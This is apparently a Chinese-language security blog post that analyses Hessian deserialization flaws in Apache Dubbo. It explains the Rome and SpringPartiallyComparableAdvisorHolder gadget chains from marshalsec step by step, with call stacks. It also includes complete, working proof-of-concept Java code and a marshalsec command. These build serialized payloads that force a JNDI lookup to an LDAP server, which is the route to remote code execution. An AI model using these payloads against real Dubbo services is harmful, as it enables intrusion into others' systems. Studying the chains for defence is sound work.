Java安全之Dubbo反序列化漏洞分析

0x00 前言

最近天气冷,懒癌又犯了,加上各种项目使得本篇文断断续续。

0x01 Dubbo

Dubbo是阿里巴巴开源的基于 Java 的高性能 RPC(一种远程调用) 分布式服务框架(SOA),致力于提供高性能和透明化的RPC远程服务调用方案,以及SOA服务治理方案。dubbo 支持多种序列化方式并且序列化是和协议相对应的。比如:Dubbo支持dubbo、rmi、hessian、http、webservice、thrift、redis等多种协议。

运行机制

Dubbo框架启动,容器Container一启动,服务提供者Provider会将提供的服务信息注册到注册中心Registry,注册中心就知道有哪些服务上线了;当服务消费者Consumer启动,它会从注册中心订阅subscribe所需要的服务。

若某个服务提供者变更,比如某个机器下线宕机,注册中心基于长连接的方式将变更信息通知给消费者。

消费者可以调用服务提供者的服务,同时会根据负载均衡算法选择服务来调用。

每次的调用信息、服务信息等会定时统计发送给监控中心Monitor,监控中心能够监控服务的运行状态。

以上图片是官方提供的一个运行流程图

节点 角色说明
Provider 暴露服务的服务提供方
Consumer 调用远程服务的服务消费方
Registry 服务注册与发现的注册中心
Monitor 统计服务的调用次数和调用时间的监控中心
Container 服务运行容器
  1. 服务容器负责启动,加载,运行服务提供者。
  2. 服务提供者在启动时,向注册中心注册自己提供的服务。
  3. 服务消费者在启动时,向注册中心订阅自己所需的服务。
  4. 注册中心返回服务提供者地址列表给消费者,如果有变更,注册中心将基于长连接推送变更数据给消费者。
  5. 服务消费者,从提供者地址列表中,基于软负载均衡算法,选一台提供者进行调用,如果调用失败,再选另一台调用。
  6. 服务消费者和提供者,在内存中累计调用次数和调用时间,定时每分钟发送一次统计数据到监控中心。

在使用Dubbo前,需要搭建一个注册中心,官方推荐使用Zookeeper。

下载解压 zookeeper ,将里面的 zoo_sample.cfg 内容,复制到 zoo.cfg 文件中。

tickTime=2000 initLimit=10 syncLimit=5 dataDir=D:\漏洞调试\zookeeper-3.3.3\zookeeper-3.3.3\conf\data clientPort=2181

Zookeeper端口默认是2181,可修改进行配置端口。

修改完成后,运行 zkServer.bat 即可启动Zookeeper。

dubbo文档

注册服务

定义服务接口 DemoService

package org.apache.dubbo.samples.basic.api; public interface DemoService { String sayHello(String name);
}

定义接口的实现类 DemoServiceImpl

public class DemoServiceImpl implements DemoService { @Override public String sayHello(String name) {
        System.out.println("[" + new SimpleDateFormat("HH:mm:ss").format(new Date()) + "] Hello " + name + ", request from consumer: " + RpcContext.getContext().getRemoteAddress()); return "Hello " + name + ", response from provider: " + RpcContext.getContext().getLocalAddress();
    }
}

用 Spring 配置声明暴露服务

<bean id="demoService" class="org.apache.dubbo.samples.basic.impl.DemoServiceImpl"/>

<dubbo:service interface="org.apache.dubbo.samples.basic.api.DemoService" ref="demoService"/>

使用注解配置声明暴露服务,在 application.properites 中配置

dubbo.scan.base-packages=org.apache.dubbo.samples

然后在对应接口使用 @Component 或 @Service 注解进行注册

引用远程服务

consumer.xml

<dubbo:reference id="demoService" check="true" interface="org.apache.dubbo.samples.basic.api.DemoService"/>
public class HttpConsumer { public static void main(String[] args) throws Exception {
        ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-consumer.xml");
        context.start();

        DemoService demoService = (DemoService) context.getBean("demoService");
        String result = demoService.sayHello("world");
        System.out.println(result);
    }
}

配置协议:

<dubbo:protocol name="dubbo" port="20880" />

设置服务默认协议:

<dubbo:provider protocol="dubbo" />

设置服务协议:

<dubbo:service protocol="dubbo" />

多端口:

<dubbo:protocol id="dubbo1" name="dubbo" port="20880" /> <dubbo:protocol id="dubbo2" name="dubbo" port="20881" />

发布服务使用hessian协议:

<dubbo:service protocol="hessian"/>

引用服务

<dubbo:reference protocol="hessian"/>

0x02 Hessian

Hessian概述

hessian 是一种跨语言的高效二进制序列化方式。但这里实际不是原生的 hessian2 序列化,而是阿里修改过的 hessian lite,Hessian是二进制的web service协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web service方式的远程方法调用,区别是Hessian是二进制协议,Axis、XFire则是SOAP协议,所以从性能上说Hessian远优于后两者,并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象,集合了序列化/反序列化和RMI功能。

序列化

import com.caucho.hessian.io.Hessian2Output; import java.io.ByteArrayOutputStream; import java.io.IOException; public class test { public static void main(String[] args) throws IOException {
        Person o=new Person();
        ByteArrayOutputStream os = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(os);
        output.writeObject(o);
        output.close();
        System.out.println(os.toString());
    }
}

反序列化

import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; public class test { public static void main(String[] args) throws IOException { Person p=new Person();
        p.setAge(22);
        p.setName("nice0e3"); ByteArrayOutputStream os = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(os);
        output.writeObject(p);
        output.close(); System.out.println("---------------------------------"); //反序列化 ByteArrayInputStream is = new ByteArrayInputStream(os.toByteArray()); Hessian2Input hessian2Input = new Hessian2Input(is); Object person = hessian2Input.readObject(); System.out.println(person.toString());

    }
}

0x03 Hessian利用链

在marshalsec工具中,提供了Hessian的几条利用链

  • Rome
  • XBean
  • Resin
  • SpringPartiallyComparableAdvisorHolder
  • SpringAbstractBeanFactoryPointcutAdvisor

该链需要以下依赖

<dependency> <groupId>com.rometools</groupId> <artifactId>rome</artifactId> <version>1.7.0</version> </dependency>

构造分析

public interface Rome extends Gadget { @Primary @Args ( minArgs = 1, args = { "jndiUrl" }, defaultArgs = {
        MarshallerBase.defaultJNDIUrl
    } ) default Object makeRome ( UtilFactory uf, String[] args ) throws Exception { return makeROMEAllPropertyTrigger(uf, JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(args[ 0 ]));
    } default <T> Object makeROMEAllPropertyTrigger ( UtilFactory uf, Class<T> type, T obj ) throws Exception {
        ToStringBean item = new ToStringBean(type, obj);
        EqualsBean root = new EqualsBean(ToStringBean.class, item); return uf.makeHashCodeTrigger(root);
    }
}

在 JDKUtil.makeJNDIRowSet(args[ 0 ]) 进行跟进, arg[0] 位置为传递的ldap地址。

public static JdbcRowSetImpl makeJNDIRowSet ( String jndiUrl ) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        rs.setDataSourceName(jndiUrl);
        rs.setMatchColumn("foo");
        Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null); return rs;
    }

创建 JdbcRowSetImpl 实例,调用 setDataSourceName 方法对实例的 dataSource 值赋值为传递进来的 jndiurl 变量,随后调用 setMatchColumn 方法,将 JdbcRowSetImpl 实例的 strMatchColumns 成员变量设置为 foo ,最后将 JdbcRowSetImpl 实例的 listeners 变量设置为空,该变量位于父类 javax.sql.rowset.BaseRowSet 中。

下面走到 makeROMEAllPropertyTrigger 方法中

default <T> Object makeROMEAllPropertyTrigger ( UtilFactory uf, Class<T> type, T obj ) throws Exception { ToStringBean item = new ToStringBean(type, obj); EqualsBean root = new EqualsBean(ToStringBean.class, item);
    return uf.makeHashCodeTrigger(root);
}

实例化 ToStringBean 对象,将type(这里为 JdbcRowSetImpl.class )和 JdbcRowSetImpl 实例传递到构造方法中,下面实例化 EqualsBean 对象将 ToStringBean.class 和 ToStringBean 的实例化对象进行传递。获取到名为root的实例化对象。接着调用 uf.makeHashCodeTrigger(root) ,该位置进行跟进。

default Object makeHashCodeTrigger ( Object o1 ) throws Exception { return JDKUtil.makeMap(o1, o1);
    }

该位置传递2个同样的对象到 makeMap 方法中调用

public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC; try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Reflections.setFieldValue(s, "table", tbl); return s;
    }

实例化HashMap将长度设置为2,反射获取 java.util.HashMap$Node 或 java.util.HashMap$Entry ,实例化一个对象并且设置长度为2,并且第一个数据插入值为 java.util.HashMap$Node 的实例化对象,该对象在实例化的时候传递4个值,第一个值为0,第二和三个值为刚刚获取并传递进来的 EqualsBean 实例化对象,第四个为null。

插入的第二个数据也是如此。

走到下面则反射设置s这个hashmap中table的值为tbl,tbl为反射创建的 java.util.HashMap$Node 对象。

简化后的代码如下

//反序列化时ToStringBean.toString()会被调用,触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup String jndiUrl = "ldap://localhost:1389/obj";
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo"); //反序列化时EqualsBean.beanHashCode会被调用,触发ToStringBean.toString ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, obj); //反序列化时HashMap.hash会被调用,触发EqualsBean.hashCode->EqualsBean.beanHashCode EqualsBean root = new EqualsBean(ToStringBean.class, item); //HashMap.put->HashMap.putVal->HashMap.hash HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC; try {
    nodeC = Class.forName("java.util.HashMap$Node");
} catch ( ClassNotFoundException e ) {
    nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);

利用分析

poc

import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.rowset.JdbcRowSetImpl; import marshalsec.gadgets.JDKUtil; import marshalsec.util.Reflections; import org.apache.dubbo.serialize.hessian.Hessian2ObjectInput; import org.apache.dubbo.serialize.hessian.Hessian2ObjectOutput; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.sql.SQLException; import java.util.HashMap;

public class remotest {
    public static void main(String[] args) throws Exception { //反序列化时ToStringBean.toString()会被调用,触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup String jndiUrl = "ldap://127.0.0.1:1389/obj";
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        rs.setDataSourceName(jndiUrl);
        rs.setMatchColumn("foo"); //反序列化时EqualsBean.beanHashCode会被调用,触发ToStringBean.toString ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs); //反序列化时HashMap.hash会被调用,触发EqualsBean.hashCode->EqualsBean.beanHashCode EqualsBean root = new EqualsBean(ToStringBean.class, item); //HashMap.put->HashMap.putVal->HashMap.hash HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC; try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
        Reflections.setFieldValue(s, "table", tbl);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2ObjectOutput hessian2Output = new Hessian2ObjectOutput(byteArrayOutputStream);
        hessian2Output.writeObject(s);
        hessian2Output.flushBuffer();
        byte[] bytes = byteArrayOutputStream.toByteArray();
        System.out.println(new String(bytes, 0, bytes.length)); // hessian2的反序列化 ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        Hessian2ObjectInput hessian2Input = new Hessian2ObjectInput(byteArrayInputStream);
        HashMap o = (HashMap) hessian2Input.readObject(); //        makeROMEAllPropertyTrigger(uf, JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(args[ 0 ])); }
}

到此不得不提到 Hessian 的反序列化反序列化机制,在反序列化过程或获取一个需要序列化对象的对应的反序列化器,如现在这里的 MapDeserializer 。感觉这个和Xstream的反序列化机制有点类似。反序列化机制在此不细表,后面再去跟踪该反序列化机制

public Object readMap(AbstractHessianInput in) throws IOException { Object map; if (this._type == null) {
            map = new HashMap();
        } else if (this._type.equals(Map.class)) {
            map = new HashMap();
        } else if (this._type.equals(SortedMap.class)) {
            map = new TreeMap();
        } else { try {
                map = (Map)this._ctor.newInstance();
            } catch (Exception var4) { throw new IOExceptionWrapper(var4);
            }
        } in.addRef(map); while(!in.isEnd()) {
            ((Map)map).put(in.readObject(), in.readObject());
        } in.readEnd(); return map;
    }

((Map)map).put(in.readObject(), in.readObject()); 跟踪该位置

public V put(K key, V value) { return putVal(hash(key), key, value, false, true);
    }

这里获取到的key和value的值都为 EqualsBean 实例化对象。

该位置去调用hash方法去计算hashcode的值

static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

com.rometools.rome.feed.impl.EqualsBean#hashcode

public int hashCode() { return this.beanHashCode();
    }

这里的hashcode是调用 beanHashCode 方法

public int beanHashCode() { return this.obj.toString().hashCode();
    }
public String toString() {
        Stack<String[]> stack = (Stack)PREFIX_TL.get();
        boolean needStackCleanup = false; if (stack == null) {
            stack = new Stack();
            PREFIX_TL.set(stack);
            needStackCleanup = true;
        } String[] tsInfo; if (stack.isEmpty()) {
            tsInfo = null;
        } else {
            tsInfo = (String[])stack.peek();
        } String prefix; String result; if (tsInfo == null) {
            result = this.obj.getClass().getName();
            prefix = result.substring(result.lastIndexOf(".") + 1);
        } else {
            prefix = tsInfo[0];
            tsInfo[1] = prefix;
        }

        result = this.toString(prefix); if (needStackCleanup) {
            PREFIX_TL.remove();
        } return result;
    }

调用this.toString

private String toString(String prefix) { StringBuffer sb = new StringBuffer(128); try { List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass); Iterator var10 = propertyDescriptors.iterator(); while(var10.hasNext()) {
            PropertyDescriptor propertyDescriptor = (PropertyDescriptor)var10.next(); String propertyName = propertyDescriptor.getName();
            Method getter = propertyDescriptor.getReadMethod(); Object value = getter.invoke(this.obj, NO_PARAMS); this.printProperty(sb, prefix + "." + propertyName, value);
            ...

反射调用this.obj的 getDatabaseMetaData 方法

public DatabaseMetaData getDatabaseMetaData() throws SQLException {
        Connection var1 = this.connect(); return var1.getMetaData();
    }
private Connection connect() throws SQLException { if (this.conn != null) { return this.conn;
        } else if (this.getDataSourceName() != null) { try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

触发lookup,后面自然不用多说了。

lookup:417, InitialContext (javax.naming) connect:624, JdbcRowSetImpl (com.sun.rowset) getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) toString:158, ToStringBean (com.rometools.rome.feed.impl) toString:129, ToStringBean (com.rometools.rome.feed.impl) beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl) hashCode:180, EqualsBean (com.rometools.rome.feed.impl) hash:339, HashMap (java.util) put:612, HashMap (java.util) readMap:114, MapDeserializer (com.caucho.hessian.io) readMap:538, SerializerFactory (com.caucho.hessian.io) readObject:2110, Hessian2Input (com.caucho.hessian.io) readObject:86, Hessian2ObjectInput (org.apache.dubbo.serialize.hessian) main:57, remotest

SpringPartiallyComparableAdvisorHolder

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian SpringPartiallyComparableAdvisorHolder ldap://127.0.0.1:1388/Exp

该gadget需要以下依赖

<dependency> <groupId>org.springframework</groupId> <artifactId>spring-aop</artifactId> <version>5.0.0.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>4.1.3.RELEASE</version> </dependency> <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjweaver</artifactId> <version>1.6.10</version> </dependency>

构造分析

default Object makePartiallyComparableAdvisorHolder ( UtilFactory uf, String[] args ) throws Exception { String jndiUrl = args[ 0 ];
        BeanFactory bf = SpringUtil.makeJNDITrigger(jndiUrl); return SpringUtil.makeBeanFactoryTriggerPCAH(uf, jndiUrl, bf);
    }

跟踪 SpringUtil.makeJNDITrigger 方法

public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception {
    SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
    bf.setShareableResources(jndiUrl);
    Reflections.setFieldValue(bf, "logger", new NoOpLog());
    Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); return bf;
}
public void setShareableResources(String... shareableResources) { this.shareableResources.addAll(Arrays.asList(shareableResources));
}

该方法将jndiurl转换成一个list对象,然后传递调用 this.shareableResources.addAll() 方法,该方法对

shareableResources 的 HashSet 进行addAll的操作

继续来到下面

设置logger的值为NoOpLog实例化对象,获取 bf.getJndiTemplate() 也进行同样操作。

接着返回bf的 BeanFactory 实例化对象

public static Object makeBeanFactoryTriggerPCAH ( UtilFactory uf, String name, BeanFactory bf ) throws ClassNotFoundException,
        NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
    AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
    Reflections.setFieldValue(aif, "beanFactory", bf);
    Reflections.setFieldValue(aif, "name", name);
    AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
    Reflections.setFieldValue(advice, "aspectInstanceFactory", aif); // make readObject happy if it is called Reflections.setFieldValue(advice, "declaringClass", Object.class);
    Reflections.setFieldValue(advice, "methodName", "toString");
    Reflections.setFieldValue(advice, "parameterTypes", new Class[0]);

    AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
    Reflections.setFieldValue(advisor, "advice", advice); Class<?> pcahCl = Class .forName("org.springframework.aop.aspectj.***.AspectJAwareAdvisor***Creator$PartiallyComparableAdvisorHolder");
    Object pcah = Reflections.createWithoutConstructor(pcahCl);
    Reflections.setFieldValue(pcah, "advisor", advisor); return uf.makeToStringTriggerUnstable(pcah);
}

创建 BeanFactoryAspectInstanceFactory 的实例化对象,名为aif,并将bf变量和name分别反射赋值到beanFactory和name中。bf为上面获取的 BeanFactory 对象。

接着创建 AbstractAspectJAdvice 对象,将 aspectInstanceFactory 的值,设置为aif变量对象进行传递。

将advice的 declaringClass 、 methodName 、 parameterTypes 分别设置为 Object.class 、 toString 、 new Class[0] ,创建 AspectJPointcutAdvisor 对象,将前面设置了一系列值的 advice 放置到 advisor 对象的 advice 变量中。

最后创建 org.springframework.aop.aspectj.***.AspectJAwareAdvisor***Creator$PartiallyComparableAdvisorHolder 对象,将 advisor 设置到该对象的 advisor 成员变量中。并且调用 uf.makeToStringTriggerUnstable(pcah);

跟踪该方法

public static Object makeToStringTrigger ( Object o, Function<Object, Object> wrap ) throws Exception { String unhash = unhash(o.hashCode());
    XString xString = new XString(unhash); return JDKUtil.makeMap(wrap.apply(o), wrap.apply(xString));
}

public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC; try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Reflections.setFieldValue(s, "table", tbl); return s;
    }

与前面的一致,再次就不做分析了

利用分析

poc

import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.sun.org.apache.xpath.internal.objects.XString; import marshalsec.HessianBase; import marshalsec.util.Reflections; import org.apache.commons.logging.impl.NoOpLog; import org.apache.dubbo.serialize.hessian.Hessian2ObjectInput; import org.apache.dubbo.serialize.hessian.Hessian2ObjectOutput; import org.springframework.aop.aspectj.AbstractAspectJAdvice; import org.springframework.aop.aspectj.AspectInstanceFactory; import org.springframework.aop.aspectj.AspectJAroundAdvice; import org.springframework.aop.aspectj.AspectJPointcutAdvisor; import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory; import org.springframework.aop.target.HotSwappableTargetSource; import org.springframework.jndi.support.SimpleJndiBeanFactory; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.HashMap;

public class SpringPartiallyComparableAdvisorHoldertest {
    public static void main(String[] args) throws Exception { String jndiUrl = "ldap://localhost:1389/obj";
        SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
        bf.setShareableResources(jndiUrl); //反序列化时BeanFactoryAspectInstanceFactory.getOrder会被调用,会触发调用SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup Reflections.setFieldValue(bf, "logger", new NoOpLog());
        Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); //反序列化时AspectJAroundAdvice.getOrder会被调用,会触发BeanFactoryAspectInstanceFactory.getOrder AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
        Reflections.setFieldValue(aif, "beanFactory", bf);
        Reflections.setFieldValue(aif, "name", jndiUrl); //反序列化时AspectJPointcutAdvisor.getOrder会被调用,会触发AspectJAroundAdvice.getOrder AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
        Reflections.setFieldValue(advice, "aspectInstanceFactory", aif); //反序列化时PartiallyComparableAdvisorHolder.toString会被调用,会触发AspectJPointcutAdvisor.getOrder AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
        Reflections.setFieldValue(advisor, "advice", advice); //反序列化时Xstring.equals会被调用,会触发PartiallyComparableAdvisorHolder.toString Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.***.AspectJAwareAdvisor***Creator$PartiallyComparableAdvisorHolder"); Object pcah = Reflections.createWithoutConstructor(pcahCl);
        Reflections.setFieldValue(pcah, "advisor", advisor); //反序列化时HotSwappableTargetSource.equals会被调用,触发Xstring.equals HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
        HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));


        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC; try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Reflections.setFieldValue(s, "table", tbl); //反序列化时HashMap.putVal会被调用,触发HotSwappableTargetSource.equals。这里没有直接使用HashMap.put设置值,直接put会在本地触发利用链,所以使用marshalsec使用了比较特殊的处理方式。 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
        sf.setAllowNonSerializable(true);
        hessian2Output.setSerializerFactory(sf);
        hessian2Output.writeObject(s);
        hessian2Output.flushBuffer();
        byte[] bytes = byteArrayOutputStream.toByteArray(); // hessian2反序列化 ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
        HashMap o = (HashMap) hessian2Input.readObject();
    }
}

以上代码 在序列化部分多出来了几行代码。我们知道,一般对于对象的序列化,如果对象对应的class没有对 java.io.Serializable 进行实现implement的话,是没办法序列化的,所以这里对输出流进行了设置,使其可以输出没有实现java.io.Serializable接口的对象。

将断点打到 com.caucho.hessian.io.MapDeserializer#readMap

public Object readMap(AbstractHessianInput in) throws IOException {
   ... while(!in.isEnd()) {
        ((Map)map).put(in.readObject(), in.readObject());
    } in.readEnd(); return map;
}

调用HashMap的put方法

public V put(K key, V value) { return putVal(hash(key), key, value, false, true);
    }

与前面不同的是这里是借助putVal方法

final V putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict) {
        Node<K,V>[] tab; Node<K,V> p; int n, i; if ((tab = table) == null || (n = tab.length) == 0)
            n = (tab = resize()).length; if ((p = tab[i = (n - 1) & hash]) == null)
            tab[i] = newNode(hash, key, value, null); else {
            Node<K,V> e; K k; if (p.hash == hash &&
                ((k = p.key) == key || (key != null && key.equals(k))))

key.equals方法位置进行跟踪

public boolean equals(Object other) { return this == other || other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource)other).target);
}
public boolean equals(Object obj2)
{ if (null == obj2) return false; // In order to handle the 'all' semantics of // nodeset comparisons, we always call the // nodeset function. else if (obj2 instanceof XNodeSet) return obj2.equals(this); else if(obj2 instanceof XNumber) return obj2.equals(this); else return str().equals(obj2.toString());
}

调用obj2的toString

public boolean equals(Object obj2)
  { if (null == obj2) return false; // In order to handle the 'all' semantics of // nodeset comparisons, we always call the // nodeset function. else if (obj2 instanceof XNodeSet) return obj2.equals(this); else if(obj2 instanceof XNumber) return obj2.equals(this); else return str().equals(obj2.toString());
  }
public String toString() {
            StringBuilder sb = new StringBuilder();
            Advice advice = this.advisor.getAdvice();
            sb.append(ClassUtils.getShortName(advice.getClass()));
            sb.append(": "); if (this.advisor instanceof Ordered) {
                sb.append("order ").append(((Ordered)this.advisor).getOrder()).append(", ");
            }
public int getOrder() { return this.order != null ? this.order : this.advice.getOrder();
}
public int getOrder() { return this.aspectInstanceFactory.getOrder();
}
public int getOrder() {
    Class<?> type = this.beanFactory.getType(this.name); if (type != null) { return Ordered.class.isAssignableFrom(type) && this.beanFactory.isSingleton(this.name) ? ((Ordered)this.beanFactory.getBean(this.name)).getOrder() : OrderUtils.getOrder(type, 2147483647);
    } else { return 2147483647;
    }
}
public Class<?> getType(String name) throws NoSuchBeanDefinitionException { try { return this.doGetType(name);
    } catch (NameNotFoundException var3) { throw new NoSuchBeanDefinitionException(name, "not found in JNDI environment");
    } catch (NamingException var4) { return null;
    }
}
private Class<?> doGetType(String name) throws NamingException { if (this.isSingleton(name)) {
            Object jndiObject = this.doGetSingleton(name, (Class)null); return jndiObject != null ? jndiObject.getClass() : null;
private <T> T doGetSingleton(String name, Class<T> requiredType) throws NamingException {
        synchronized(this.singletonObjects) {
            Object jndiObject; if (this.singletonObjects.containsKey(name)) {
                jndiObject = this.singletonObjects.get(name); if (requiredType != null && !requiredType.isInstance(jndiObject)) { throw new TypeMismatchNamingException(this.convertJndiName(name), requiredType, jndiObject != null ? jndiObject.getClass() : null);
                } else { return jndiObject;
                }
            } else {
                jndiObject = this.lookup(name, requiredType); this.singletonObjects.put(name, jndiObject); return jndiObject;
            }
        }
    }

到了该位置调用 this.lookup(name, requiredType);

protected <T> T lookup(String jndiName, Class<T> requiredType) throws NamingException {
        Assert.notNull(jndiName, "'jndiName' must not be null"); String convertedName = this.convertJndiName(jndiName); Object jndiObject; try {
            jndiObject = this.getJndiTemplate().lookup(convertedName, requiredType);
public <T> T lookup(String name, Class<T> requiredType) throws NamingException {
    Object jndiObject = this.lookup(name); if (requiredType != null && !requiredType.isInstance(jndiObject)) { throw new TypeMismatchNamingException(name, requiredType, jndiObject != null ? jndiObject.getClass() : null);
public Object lookup(final String name) throws NamingException { if (this.logger.isDebugEnabled()) { this.logger.debug("Looking up JNDI object with name [" + name + "]");
        } return this.execute(new JndiCallback<Object>() {
public <T> T execute(JndiCallback<T> contextCallback) throws NamingException {
        Context ctx = this.getContext();

        Object var3; try {
            var3 = contextCallback.doInContext(ctx);
        } finally { this.releaseContext(ctx);
        } return var3;
    }

该位置获取InitialContext对象,传递到 var3 = contextCallback.doInContext(ctx); 方法进行继续调用

public Object doInContext(Context ctx) throws NamingException {
                Object located = ctx.lookup(name); if (located == null) { throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null");
                } else { return located;
                }

至此触发漏洞,该链比较长

调用栈

